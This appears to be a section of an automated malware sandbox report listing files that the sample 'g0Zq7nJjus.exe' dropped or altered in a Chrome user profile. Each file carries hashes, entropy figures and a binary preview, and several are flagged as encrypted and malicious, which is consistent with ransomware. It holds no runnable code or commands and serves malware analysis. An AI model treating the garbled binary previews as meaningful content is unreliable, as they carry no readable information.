SHA-512:	848E4231504870BF3D1DCDB3A4E0B41B2C3A3FB1E2E50000FC5DDE36CB7C0349EB45A79A6DCFA1B03C672D3A2ADD6AF716C0E0B1AB93F1FD752957EDC69D5A7E
Malicious:	false
Preview:	/.. .R2,.#(....u.........B...Ky...+WI3...R.$eUE....Q9]MK........b..~!.@.K...a4/...$.......9..7O..L..B... ...Z.(]...V.j...Q..U..x....%..h%6.6...P>U.K. .f8.!. .1L....}.9......e.g...r...H.WzJ...a/.T....=..Z..T.{b.....\|`..L==j..w#.~..\.e....@...a....O.z...;R..o...~..E.". \..uv.o..X.....Vd.:.pSP..^.....z..^LJ\|7 .a.J.[b.:->..g......3\...s.......IZek)..q.b.-+0P..._./...#ug.....)?/f;.`d.g.g........h.....<eO....D..NZ.`........l...p.0.....j...z...dz9..9s.RR...4v.X....y......J..wq..>}c....H.dYn..C.B.:......=.[H'}.(eOE.....LEL.H..D........O..,...../\| ........p...D]t/.......tDf&..l....N>.<.f.W..}.U.\|..Ui...\|CfD...f...-5..S..P..8.}.M`...}..R.LU.9..g]%.X..{Ic...6NC9#..!..h.T.....<&.<....@....o.A..J.O....C&..."...v....6..9d...~.b...EP..i._.{......%\..........^..jM\|.fp..........S..v.R.;....... ...]74.E....g.]u..&..\|'..7...].'#....rW...b.......C.+..:..\|.{.e.....J.....6.s.t...T.?..g..5<...T.w..Z_c.`.p..../Y*.u..[.I..E]u?.k.cL.6.q..+.S..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\manifest.json

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1656
Entropy (8bit):	7.878198750627597
Encrypted:	false
SSDEEP:	24:jg16A7G3FF3TPMu05Xj9pfu+G9bIhUdNPJHcnbIyMnywpbXnGQ0LNfqBFA2+2bD:jKx7WF3wuIT9pfuBIDcjbGviB1D
MD5:	D84FC286B6CBFF33B7F14402E1BE21A8
SHA1:	8D4B1AE42060A3C53DC608AFE2657512259566DD
SHA-256:	3A8B641110F7DED8E1C1C73E69751246FF6145875E96A785BB46278909CAC2A5
SHA-512:	8256318A70C10C841DF0928A9B204812C87F9A2A5D0E0E0E3F14275110170660F499F6B5A79FEC9DC08F705FDFC13A9BC7313F235B8C4CDE200E382FD420C54E
Malicious:	false
Preview:	{.. B.=...v.......eP.0...N.I.....3.iBq\|.......=.#.@.TO..l...$U-kGb.J.>l.../..+.=.@gDLwO........y+{...N...1Q.........4~pm_..:.T..l.=......UPy+%{.djo%.c<O...lkj,.W...QB[.p.9...iw..i"N.. Fw.q..Pb1....w.q8.;..8.LQ.rW...$..s.!.a..n/.._.)G.\..el...P..~......r...!bn.....g...l....b&....w....?..t..r..C...@2.. O.=;...{Q9S.~.L$.K.O..%#..\|..pwy...k...z.2.o....B.>...[.y.K.5.H..lrL.lv..H.. ...E...C`..]\.....\...NI............>......fkf"....Vl...'<.3]......F...D..!.....n#s..E..].\.)..k.z.X5K..W..9..@?+..(@@.g.p...p....2.NQS.+..8n....../.9.".u ....T2.!)....\.y..`..<....G...P......Z.1%..q.]Q.5..'..D~\|.A,....HG..<.T..."..Cf.uk{..0.Pp...#fi...Q....&..}.].........v>.=;b.Sn&U*........>..h?...-......M....R.vp.[..F.O.k^.b..E2..ho.+....C=...r.....V>.k..@..@1?...[./..l.[0.@K)y..h{.:.d7.G-.....An0.]..6.J.....;`.9.:........dr....BMdN4..1..v.{..ds.]`^.9.l....q..^..q..ki.._E.$...z.... ._G..}l.........B....@eoLJ:u;.?K`.:.$tv.b....."_..a....k.F..#`6.\..(.....P.X..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOG.old

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	629
Entropy (8bit):	7.569378595798264
Encrypted:	false
SSDEEP:	12:kU/3w7caxpuiWLpF0S8RnbTNkjN35585u2CHVV5N2f1xRSD4RSUdNcii9a:b3c7xQStvNkjdUu2CHPz4vADd2bD
MD5:	322A61E7F9AAF0B372D81422E680FE0F
SHA1:	B37B5BFE15745AD3E389CCB566FD7258B169F639
SHA-256:	1D04E851CE6353E9E26009E5C70B5BC841339FBA1CF69004B97D27F4FB4C8AF8
SHA-512:	D4F79E51FB8FA4DB1BBB9F4F7D4ECCB30B8D7122921B6EC30AF542022AB91D2B047F998EAA9C414041405949A3183E66805E03220EC68EC90841E37392758FFE
Malicious:	false
Preview:	2023/B._....4)..60q.x.;\|..T..7O....r/.....@..).s'$...b.X.x4.W9..:z&...hm8..F...hX/...}.PDl.*..(..TH.pfx.[....L...GY.o.ox.9...../....p.F..#Z.mB.@..........o.......).,.5b.>..oY`47C..@.3..L.t....%I..pW8X->..A....I...caW..-.P._.h...-..n...D!...0.?..j.4._.<....).S,...5H.#._..8).S6.R.2...,Y...!Era...O.....5....$>.B...[v.!.2....u...y..Z.y.{.Z.c....3?..2K"s...........A.....x....$...w..Q..x8RkF7.....s.{Z.o.)F..y:UW..84c6.0. .....w../.8.p...Z.._.}.........X...sSn{........0.K.5..6'$.d...9..&%..LA.i.Rr.W..0...25.oG.s..]+4A.......".mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\000003.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	383
Entropy (8bit):	7.365134061133689
Encrypted:	false
SSDEEP:	6:w5AiSdBvEOTjaNn5A3cRPEl5TsqvDnKOzr80OD+L5wWDKEInIS1WdNcii96Z:mAihvnEWe5Tz7UK5wWDK2SUdNcii9a
MD5:	F950F21FA89B892EE2FC0F2A30CF2F75
SHA1:	AA995C6C721D3F54C2F3D48949C048FD9F6C9506
SHA-256:	57FA950728CB10F2A154DE034ECB4ED3EAD5B4D8E6ECD7395DD5A0AE6DE9D29A
SHA-512:	FE1E4285C5FA2AFC17BD6D38668AB616BD1534C49AA0C216F4DC3A3CC768B3EE9CB9FDFBCDB555D109970342EA36823276CC309AC41CF3AD6DF9ACAD5B862CD1
Malicious:	false
Preview:	.X.%*N.~T..zbDN. .."W=...l6.<.V..{..@$..7m4.>..!E.\.'...5.{F.Qo..b.+x`..$.K..Y....i!..P+.5-.Zb......1jB.I...Of.m.TS..V......f.&...........\......+.C...s....>.^.27.s..M0?v.m<.}.......K/6r...oW......8!.L.......XkQ......Z]..}EzL....<.......w]6/..K.....E.....3..N......o...-..5<> .sy0...H.~Q.z:mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	672
Entropy (8bit):	7.682689733127813
Encrypted:	false
SSDEEP:	12:kJ3d7M0SHL+0QCWssriVwJ27sDsyuMvUiSjoCbtWQOWNoYLsSUdNcii9a:GdA0oLzBnVFshBUFbtWQrNoYLz2bD
MD5:	0A845A96FF5AC023011ECCFA948BA7DC
SHA1:	AB01CF4A0301B053B128A46166EE2BD1B72339E1
SHA-256:	34859C06D1FE912111C32CBAE528276D7C740073FDE342A9603D4CA5657D7C62
SHA-512:	D3F47AC7D70A36DE9949150F530E9B7641BD9C94FE5997F6EFE3907E5F47F701B88DF57A41BA4719F6E7BEEFFC2DF4855BC9B02DA9AF71935AA29C20841C58EA
Malicious:	false
Preview:	2023/Z.(...5!...W.i......._._..,5h?.a...F.c.....1z........._.8.D4r{.x.....n............7"..a.....o.U...e.w@<g>.....J..8..=.&...u>.......i6%..._..qLZ..F.a.8.C.T..{p..u)...t.z..w.h.u....\/.:.^d.$AP.q.^....wg.G-_..\|.H8...u.t-..V.3..~.,B....#~,.].......h.^..j..m..U..<..V...o`.T.O.....}.vfVR(A....O+7.\.9;ZBr.]..#.[i(B..d1.9.?.....@j..7hM@..@Y!.......O7..dV.".C...?WnT....z...N....m..4."...>3@fY.t..J.d....wy.0..J`"5T..jim..S..S..=&.....V... u..v1...<\....[...q.......6..;.!W..N.H.#9..U.........}h2i"..W..*z.H.k..........+m.h..z.....P.F..$E.ut].td....iS...:mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000003.log

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	9246
Entropy (8bit):	7.980074070406265
Encrypted:	false
SSDEEP:	192:k9F4NEsMdWoV94IAPMIuGtT8LdClmTm1vCIPgP0FLdUkG4nXpQZf:RNEsMbWtT8JcmTmJ4sFh8BZf
MD5:	4176394B4584C453E2EEAE9968CD1440
SHA1:	C788E0191E9B61C7283B4B3CE55B043A1AA030C7
SHA-256:	2885DF2509A5B0F97CA6605DD5549E624EC054A8636B697F1ABD0052C18E78DD
SHA-512:	7C217EE076421BC5316F3EA0B56DD816AE79D0B89EE2B05A63B24A7BAE58D3914DAE14828BAFC4550BE0B3EBABA92EBBA5BF7EF516A66F0880485D6030B1BAD8
Malicious:	false
Preview:	...n'F..V.a.....X\......W..(b.n.{......<.[.U.....y...L-...p.O...Y.K..f......4...t`j.KZ........}.)zewr.U.......\|..y..z,#.4[..a.-!%.f.........?.W.%D..U.....')."M....C..t....XR.Z...S..^..U....D?.\f.-...N^...AT...._=..t.)I..~..r......&.Y..a.jf.....d..-..7.D..[y..i..h...E..x...D...]..C..-B.n.wM~..'#4.......j....F.J.-N.%..."_U..ly.e..d.....w....Y...`.......@A;W..c-.Y..._Oy..qE=H....Y........t...,...tn.......+.e]...'.U../C.....}....o.,....Lu..=W-.':.....0Y.n.ek...:.6.'j:.I>.....G?8....+:....t.AM...>.+._E.hx......r.qh.sK..Ie...M...Yb....{)&.vy.eIlr.N(...-T+........gu....o...G.a..,.5.n.!..)A.X-.$.M..u:.......no.dLJ..........l.C.......q....._..Mi!O#W.\.g....=...P.U........)@..i.+u..La-l..;...$.,.D.(....{.M.6./2P$.N.......}?!\|.)....."..;1...;..C*...l....dt..E.u..].....G>..qhe.K.7.p3...a..l..e.q@4..kMT.W\|.. }..GfY..l$...<2z.wB..H.Q..`..).....m?..t.pE...aK....V.R.m..fV......VP4.)..t..p....j.W./.......>.1.(.i\.h.....M)..!q8(^....\|...........}.0..61t

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG.old

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	664
Entropy (8bit):	7.607536493116563
Encrypted:	false
SSDEEP:	12:kJdQ/K7WYYTNy/UYh5s0pcRB2h47ZN9u6t9cSWKGvPnkTZVQk6SuIyx74y/IpVSw:4AKQJycMstREheN9u6TchZPQA+fHK2bD
MD5:	39CAD15C0EAC375AC8B927D654D413F2
SHA1:	5CDAB7EA328E3A5149D8F6458C5C1B007552DBC9
SHA-256:	291BC3A1293B8580DD08B32811B46CC800765989ABE4FA9B5D732001776F101C
SHA-512:	9C0821DA390ED21BED90BCAC1301F7D755E4E9DFA3B35D730C37FA3E086D3757A7E98FD231C1CF2631E228B8256FCA011E7ACCCC04DFBB24E801E68CEDD6A81F
Malicious:	false
Preview:	2023/...S..tv.G.%.).c.b...5EtLmq....^..?.B....8BpS.&....`2.R=.gH.X.b...wN.^..vJM.Sq.s.f..bNC.T....&..G.r).8....ER.c...y3.Ds..E.g......(Ow..22....l..L._....A{.....x..t#..3mD.....n.....0....B.A.9.6.....m.%...?W..D.....xU..m.o.-..79Z..N...y.I.y.L.....!8....."..E:.w{...zt.hc.3....Q.w+e ~NW...@.B...qD..uy,.t.]..O.yr...'..y!.nW.. .~.`...{.{.4..Q.A..7......3P...=.y....P:~.....R.g.,..'..9.1.4..l..6....3..></+....`>.7......#.....TKX..G.H./w@d.......U.f..#Cc.u....wry...%T.K..H.K.e..v.......h...U..Db.9.L.P.Q......p.6....WR....h[sYJ..^<..<....)M.:"..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfak\Google Drive.ico

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	170742
Entropy (8bit):	7.998873127101584
Encrypted:	true
SSDEEP:	3072:GyIwna3Rxbv4bqnx2ccGPadVe1+TBeMm0mv5KVisgtE7z17qcGkCsqV0:CSicP8me1GnmvG9rJlNb
MD5:	43C5A3B5CA10E4BB88D4BF90673742C9
SHA1:	8AAD3251EA466746B299FC67A692528E3366E5A6
SHA-256:	1A65B7512F75FEBFF6E9FE443E398AC703419991E2C3C70951057C607B1EB705
SHA-512:	9E0394669806CD236C2C0D52CDF424CD3A0B6CA6BB3E00D30AFE25069664D9762B713430CB47B7614F2ED5A0C6D22F6464DAA5D1B022A7D77D94D9415A65D822
Malicious:	true
Preview:	.......4J.....q.1.`.-;//H.S;..../......Pc.Og.$.D}...)...q.P.1_I..C.}.w..m.l.~...<1...B...Mj..G....3.8......_..H.=YS.'g...<......fr.C$YTE...`....Lf6SG.]..>.k.Q.#..B,..W."...i.p..\|Ms.UA...'...=HM-.D....6}m..J..H.bc.m...o..4....6}........8pwN#y..l.....Z...`.mWX<..i....(4"F..R..Kz....3..F.._:.^.a.dg}&....o...w.Y..m.IB.`x)U......c{u.q..G..I..L}r....V.Y..HW..~k./(.}@...>...X.Wg9>..-...a.......i....O...._...M.__!.1...UBTof!..........=..Hv..^5..3...6.N.e..v..(n..ui..E.....[..t.....t..Z'......B%?....z..YGQ.y..Lo...d.`....L.......aQ.0..`n..IU......n....[..?.F..k-.Fo.F6............)t....91.-..x.a).7...Wd..V....g=..8.;xNdu..X...5h.u..Y..e..e...y..\.......8<3'..o.q..F.&mr..Q.U.S/N....4......Ck....k<my5..e..M.....?..=Z?..2......U........[.?.g..}F.y....0l.`.Mt...>9MYx...K....E.u.A.....E."?L..k.r........-6...w."]}Z.K...kD&.P....x.nz..J..=...bl6.1.s....'p.Q`..f.@.<...wG...Q.n.p....9.G........7+.3.+{...H..1......\|.aW<8...&.....q.o..'.N.*l..@.\|.o.b{C.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfak\Google Drive.ico.md5

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	350
Entropy (8bit):	7.356793720559914
Encrypted:	false
SSDEEP:	6:5D/nDOgyn2TV6XUZEE12bJ++qbvxnd5OfK1AMEmfkaTKelnIS1WdNcii96Z:9nSXMyq2EdtdCqnEaOeWSUdNcii9a
MD5:	73253EBF7DA20B4A51B501258AF1640F
SHA1:	20633804AAE6861D3BF00122C06147F835D9E402
SHA-256:	DEBDC2B9AF471387274D206A235EB732D55E4EEAFBA81CDFEC1E5E4964A3D02F
SHA-512:	6E1488BC3A3A227F9A5056F3D6A0D48618063C528EF745E6087AACE3450611C5488E31417C8370D44CE0E171D3742588186CF01CE0545CEDF5B95AA17759B4FE
Malicious:	false
Preview:	.....,..Z...3O.KG..x...k._......+).I...~..kE.D.. &...../......~............q.V%....1a!.@M...mX...^......O.3SU..qN\|...50..\|M.5-....j..........\!...P..=...\|.VQ h..C.C."`.e~\.1.._......r.m.i.p..<.l...\ ......m../.a/.4.&.R\.`...pg.o.UU..7j.G.....+.z./.\L..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldooml\YouTube.ico

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	176487
Entropy (8bit):	7.998435347016166
Encrypted:	true
SSDEEP:	3072:qOHiARqqOK+d1oB2JjOj1GDIwjtT8zlJQzsZpCmraD2xbZOkFrxoRwgwJlzenNsw:qWfImYoBZ5aClqzOeD2LOkFdoRwgwQUI
MD5:	882C82238C1EC47041BBA1B367B28E5F
SHA1:	F8E9E2C3E96E594C27853F90F6C4C24B8A918B5F
SHA-256:	5504673F49161FE8020F5462A4089A04999513233D1D406C533BF59C8C3F562B
SHA-512:	03D19465C0C3039523E6B1A04447B082D6C81BD4844C2221EDE2B1F93F9AF72F1012011A9C7DA5A4F18650D5F33B22ABAE46CA8833D7358896D2BC9AE6A30AD2
Malicious:	true
Preview:	......8.Zq1?..N.'6......5......\|@+....q..>NbnR._...w.'.........h..s........~..5.GJ...._..f.{R..d.P......a6 `.}.....%..C5.......RK.c...G..K...F.d.rX.3S~.P...D..lv. ........$-a.N..[....+(+......{{)......Y.@^qP..Q..o..>...+\|]6.~....-.7....4......h.D.M....R.h.j.n..e3.z,x.44v..0_.....O..hl..k..........q.7V>...>..+.....)@I.s.]}.*.6..[n.v.D..V...ht...g/...p..{....P$..uY4.q.7.<.5...4..ia...\_.v.c..#f.7ah..M...i..-....rx..l.9!..P.........F.`.K...c....[1W.....9FD..U-..t.`..p...H1.Y{....m.[r..x...!.......z.....Z..(.....SBN.M..h7...c..f.O...bvN7.U'.....\|L....k....iM.....fs......>...Sz?.2O.=i5+.a....yrWp.b.....n...R.Y.-....`...6$.j.,....ji..O......".$:w{<C..1......b;......`...I..e.%.\.l...{2...B.QG..[........R...X....w+)..$..>.@[/B........Z....uXgmq..z.O.W7.s...k.>.2.iTz...t....a..<.i.2..d..;..F..xE.ubn...Tz-B.B.j......e...o.t..p..6.....xkl..&.(....._hm..ws..H%i......\|NS@......&.h...o.f.%...>W...L.#.....>....T ?....C.......Nz..;.\|..o..sL

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldooml\YouTube.ico.md5

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	350
Entropy (8bit):	7.323318246215144
Encrypted:	false
SSDEEP:	6:Xc/GhXyvynBa0/vmn4456Iy5Hk05iNqxKI7fIjBwWeNPPFEZnIS1WdNcii96Z:Xc+hX9nBaAm4456k08NqxKGfq4PFJSUn
MD5:	366342302ABC2301F6E87F2F84A7E9FD
SHA1:	D89259858B1ED03268870A431136E25EB826133B
SHA-256:	7BE46290A119764CE0DC2F90EBFC02716A86FBA1C3CE95A9531D3311349D2E4D
SHA-512:	5E65A268F2C4AD42FDB3B17E7462279260CC0930F0CF8F38D2AB97608DE49F03E4567DB454EEA5AE1D5F6ECAA32436F8F99E9AB41EA6D6ECD263C79D609FBE05
Malicious:	false
Preview:	..m...?..{le..s.....P....F.r.}E.@.g..T..@.\|.."...Q...!.uy.Q.?x...!.PC..6.(^Z..;,l9.d......O...L.bV..-.......9...@.P.^.1s....B!.$~...a..Mh.a.....u8gdB.Y..mgS.......D..?...y...->..s.....[W...R.....{P.5....-J..?u.L..>..x.....b(..>.>b.Xt.n.+......`.....];.&..?..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjf\Sheets.ico

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	156339
Entropy (8bit):	7.998821369792675
Encrypted:	true
SSDEEP:	3072:SfXT8HxXMwaeXpAbIbug/VLcDY84E0TQoJvAV3gfK/JATEo:YXQNpQIKEVL184/Qic3gfOJAz
MD5:	CE0C4819DD62D92873F26A8C7EA38FEE
SHA1:	D88029C907494E4F420D30DAE6736DF96DC79A9B
SHA-256:	025D6DFF98A12D064F6A22A7355906E84CD36BA2151DFC9C3EF473BC46BEFA3C
SHA-512:	53DB1F83D375650A5CBBF39A9ACDE847873638244CB844ABD2911D2AF7A01AA67B08A6F06D483CCD542EA8A2199D5A913B251477FF2C5A2B8911D07DAA4E3069
Malicious:	true
Preview:	.....Tz.L.".#\.Q5.....Z.}..E.....A.5Q...^..;\.B...'...}.W{-.n.gt.".j..:.....=..I"...I...{Z...S.....E..Bwo..w....2$.......?...~...K9........?...g.vC.8.y........F...v.F.Y.F.a.....m..H...zx......1>s....?g.T..u.%_..:.Tt./......I.s.L../.y...b.x..~..FNC.$.!.Y.4...`....Ix.`..g....^..e.:.......T....E!.5+.b.Wb.[MC..w.i..=V+..\.`T...]....S.7..........Nle..vN...L.......H.=..!L......&T.M..j!.. ....H...H........l.<....71....L..f..p@......MN<..$.Q?#yQ .7afc..fR.}e...6..B.. .&.L..I.....w...W.....L.j!Q9..Yv.vE]..C.Evn.>..X..B..[W&86>.3..].!a..`P7.p./<Q.a..z.,-.lI...F..b..&..~0.Uw.3"~....b.;..)..WR...}..su.h.&.k8.nM.<..\n.....k.......C)..kb......3..i.h.94.....Rt.C.....8....>t,rGN.j_.IV...Y.l.6s.)..xt..... ...Qo..u.....r.$.....j..u,......#...s.L!..2...D.h.?..TY)..E...q..e..U..}A.%s........`..n,0..<..T.C....d..fwCit..o...%d.F:Y..v....c<.>..b...so...<....q7.....`Q.Pi.l...... .R..;.JW..9...Q..\\......T...o...G..F..U.0.yH..X....dT......1Hp}.;p?..?.bg.v-

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjf\Sheets.ico.md5

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	350
Entropy (8bit):	7.384497256206216
Encrypted:	false
SSDEEP:	6:hAFzkMNQC8I8u40pwxtKhFmxUW8zAdfTfFjRgBdiRKDZlD+xLO5QE6uN4olnIS1+:GFgYhZ40prhQS7Md7dF2FstWjrGoWSUn
MD5:	FBEAFA32412AD26D71DB58CE832E00E7
SHA1:	BE673DCAB4683FBE9634F8897C7C51123DBCBEAE
SHA-256:	566F1AEECD14E3874AF0BE4831E09F8435F445F6F97FF6B35C16D0D621F463AC
SHA-512:	CE5EEB21D177ABF2F47163FD4775385C639999CF73310A52DADF49AF31770AD72259A978701F90D7D2BA42BE121BF3EABF8FAA4D66025C7CC25AAF235E13850E
Malicious:	false
Preview:	.[..r(yj.J......Ri..%.....^..Rx...~).}.Y....>.H.....B..6P-.H.(.>K:u....Oh..b.o.?...;.}........!...U1.@.DK..k_D.\.`.Y.....T.[_rY.q/].@...&.<..%..Z3.U...\|.O...[..z$..6.\|...).[.'....^ot.$.a..(.7.S...1.......k..:en....<A.....;R...C..,...r{\.6..-.ng. 4.......%....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fmgjjmmmlfnkbppncabfkddbjimcfncm\Gmail.ico

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	163379
Entropy (8bit):	7.998707637872057
Encrypted:	true
SSDEEP:	3072:PFk8ePRhOAYRcO0FEv2XURX0pzvFWZk19wdJhw8sLQGtFsldMbx:PG84RhS5vBu1Kh9mDFMdMbx
MD5:	0449BB9DE4A08D1BFF37A447EE464D44
SHA1:	B08EE60E9EFD326495145290DFDD0870CB8AE6F4
SHA-256:	8CA8F807C626475AB8D26133F60C5117A22F0200ECAC410A4FDD18D94A00215B
SHA-512:	A71F7492AAF8895DEEA5DD66A6EF1E3C1CF73CC7BA83F439A7C547978BC34A20E4108D88A3E0347A799B215760B168EA077F27D38C8B729D8D09DD5DF8B3B128
Malicious:	true
Preview:	.....P..<zh$g...Zi=...j..cBnym....e.#r)q....x..I.p.Us$..@aS......i2.=.6....7P..k.w.d..............d1XC@.'.M.<..B`,m+....A<..!q.........)...}.....$.... ..^..l...b....v...C.Hxi)-G...hQ?.*x......!.~...........ezNI..B.h.....'.?h..b..pt....p....P.!.vp<.....]8B.$...sf.......i.L...1O.TA........\.."h....b9/\|<.~.<.B.b.=...e.u7...Nn..r.......S...V..=..iScHk.7x.g.5~^M9E^..PL.F...'.7..u..).9.W.T.....1R...h....4..w6.5c...;.G...T......t.$e..p`.X.w.+d=...&Tuq.m.y..1.@.Wa...R.!b.Q......#..A5.%.).1y....H..:...]'1..K...8=..Y...+AX.Sk..s...._..6..(.'...6>...u;.XY...Uz...'d........ki..j."{.l..5.....G.[A.......N..LcR.........r.8]V...k......}n..:T..w.A.)...f$.......`..,...b.(.x....1..IM_..8.1.-Y.~.v...A..i~. .s.z4.4.P.?9..84l..m..a..c$'..e..>-W.z0p...C$Q.%gC.t~..Is...e...........V.Q2m...#DTdc..C.E.-.............VN.....l....L...c..,.y.z..%1.>.j..X...,.DU..o....&...1.^s..j.25.....~t...z.....p5...-@.......Ru...M/.{.....L.7m..$D....:.Z.p[=e..t..b.V9<.p).+P.9.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fmgjjmmmlfnkbppncabfkddbjimcfncm\Gmail.ico.md5

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	350
Entropy (8bit):	7.343196424515258
Encrypted:	false
SSDEEP:	6:7VyNIzl7VLQAu86MsG/R6L2wY6cTzX5pA+NoRIX7QeoAEsowqlnIS1WdNcii96Z:BjVLQlrVRGnXPsIQeoAEs5SUdNcii9a
MD5:	22B3C2B6D7E33C46C843C25DD7CADE02
SHA1:	F592DAB624D66EAE1E153FEB2FA0936F3A6C9596
SHA-256:	A51DADEC886B54B6040F7C297E856621189B19954355E587BE6DC4F80AC92849
SHA-512:	672649B6B1968B756AB4B93AC2ED70641518C7B67C01E3EDF8307FF23CF784610E96A328BCDC3EE148A4037C5C2D9AF0FD7802FBAA8FB6DE6E251C77DF992D9C
Malicious:	false
Preview:	..J.G...fd..i..<.2.....t.MzQGH.....I....6=..s../...'.n...J.S./...j...[.E..y...U.u.'3......s'du.S....%.q...<M0c..5........c..T..~1...=._..q\+....v...]....k2.M^3!....kjLD......r..6..k..\.........0C..H.8..-.:y..[.F.I.......6.Rf..._.+.{..../.W.i."s.w......$.mh....,-g.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_kefjledonklijopmnomlcbpllchaibag\Slides.ico

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	155189
Entropy (8bit):	7.998753160152941
Encrypted:	true
SSDEEP:	3072:x9jOkgodjqVAXtVQtV0lJTZ1/dPDiMML7Z1+PexyR+dF/8YtULY:/jOk3EVAXt2VSTL/dPGMMLvce8O0YtUs
MD5:	05D543C5040B13E62D50E666E4FF805E
SHA1:	695B6622372A74781C3BCB3079B7D61A94F0A5E8
SHA-256:	38AB766D1F8B7A89D9E55CD49B9D260C0BFDE75D65BFFEBA9645C961C33C477D
SHA-512:	1E5BE19D32033F79B4248A5D9614E12B3E9361F32728CD6881ADA74C2A812BF37E271594029A38FDBAB9C00C0E6025B3D43FFEB51B99B8899239609E098D1A02
Malicious:	true
Preview:	............O..d&5...-....[..#Y.....c...5..5.O]/"y..B.'R....t...n...R..1iP3....Z.A\.....!....\|.J..N...(gX.F....'.aa_3..."g ...+..U.{.....h...g.y_..?.5.uC.!...."................{).5~g....G.......q%%?.G.."..w.v..):A.[.3.....l.........i......[.~,,..l.a..n.N<H!..K.R.....Y>...-%mI.....+..7..?.9..@Rv........a...I..$.".....E...rH...re...#..I.L.J.n...I...b..=...b.e............[_m2./xq..c.axw...<p..U.w"..H....g'u.I.[..2u.O.%1...Q...".7...o.n....!.(..u@..V...:!..HM}?c.F..>.......~..."`..U7...g2.M5.`).......DU.O..\....G.I....k'./E.6..n.Rx..$.y+.....h..j~....-.>.Llt...:....,.W..y1..<O...[.k.)"..L8..6!=.I....j..i.....I-! \|..:X..@.......B.3.Q..k.9. ..>....o,C.l.c.<....F...)6%..P..e.eE.".n.0O.Eg.V.U...0..P.2bj.......3.....x9VQ.b...4..Z...LQ.H.A_...W.0/7.}..Z..W.MZ5.f....C...}.....I.....0.,..2.PN..r...v.JN.z.@w.w.....@.....Le.q+.K.=..r.D.X..Q.[4...4...9.xE...../....@..8..B....w...\ho.U...c..;.h.o.}.......Zh....../pN.Z.........o...j

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_kefjledonklijopmnomlcbpllchaibag\Slides.ico.md5

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	350
Entropy (8bit):	7.205622676501108
Encrypted:	false
